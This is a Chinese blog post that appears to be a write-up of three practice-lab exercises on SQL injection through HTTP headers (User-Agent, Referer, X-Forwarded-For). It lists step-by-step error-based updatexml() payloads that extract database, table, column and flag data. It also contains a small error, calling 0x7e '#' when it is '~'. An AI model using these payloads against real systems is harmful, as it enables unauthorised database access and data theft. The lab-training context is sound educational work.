封神台——训练营0基础学渗透测试

HEAD注入——靶场1

1.首先必须找出正确的密码登入usename=admin password=123456
bp抓包修改user-agent头
2.再利用updatemlx()进行报错获取数据库名,获得数据库名:head_error

updatexml() 更新xml文档的函数语法:updatexml(目标xml内容,xml文档路径,更新的内容) 0x7e是十六进制中的‘#’,mysql支持十六进制编码在这里插入图片描述在这里插入图片描述

' or updatexml(1,concat(0x7e,(select database())),1),1)-- d
  1. 再继续查表名:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1) -- qwe
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1) -- qwe

查出表名在这里插入图片描述
在这里插入图片描述

flag_head 2. ip 3.refer4. uagent 5.user
4. 再查字段名

 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 0,1)),1),1) -- qwe
 ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 1,1)),1),1) -- qwe

查出所有结果产生id, flag_h1
5.最后查出具体数据`:

' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1) -- qwe

在这里插入图片描述
所有标志为
zKaQ-YourHd,zKaQ-Refer,zKaQ-ip 验证为第一个

HEAD注入——靶场2

1.在登陆时,利用burpsuite抓包,将相应的Referer等修改为要注入的sql语句
2.在repeater中Go一下,或者使用浏览器插件修改头部再运行,即可看到想要看的数据具体代码
3.查询本数据库名称

' or updatexml(1,concat(0x7e,(select database())),1),1)#

4.查询表名

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#

5.查询字段名

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag_head')),1),1)#

6.查询具体数据:

' or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

HEAD注入——靶场3

  1. 查看源码发现此处的程序需要获取用户的IP,使用了多个字段来获取用户的IP
  2. 我们可以选取其中的任意一个字段,通常情况下,程序获取用户IP是使用的是HTTP_X_FORWARDED_FOR字段.
  3. 当数据包中不含该字段时,我们在数据包中自己构造该字段X-Forwarded-For

X-Forwarded-For在这里插入图片描述

  1. 查询数据库

’ or updatexml(1,concat(0x7e,(select database())),1),1)#在这里插入图片描述

  1. 查询表名

’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#在这里插入图片描述

  1. 查询字段名

’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag_head’)),1),1)#
在这里插入图片描述

  1. 查询具体数据

’ or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#在这里插入图片描述

  1. 一个flag并不是zKaQ-ipi,可能是长度不够,重新输入代码
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1) #

zKaQ-ipip
在这里插入图片描述

posted @ 2022-10-12 21:30  sparename  阅读(53)  评论(0)    收藏  举报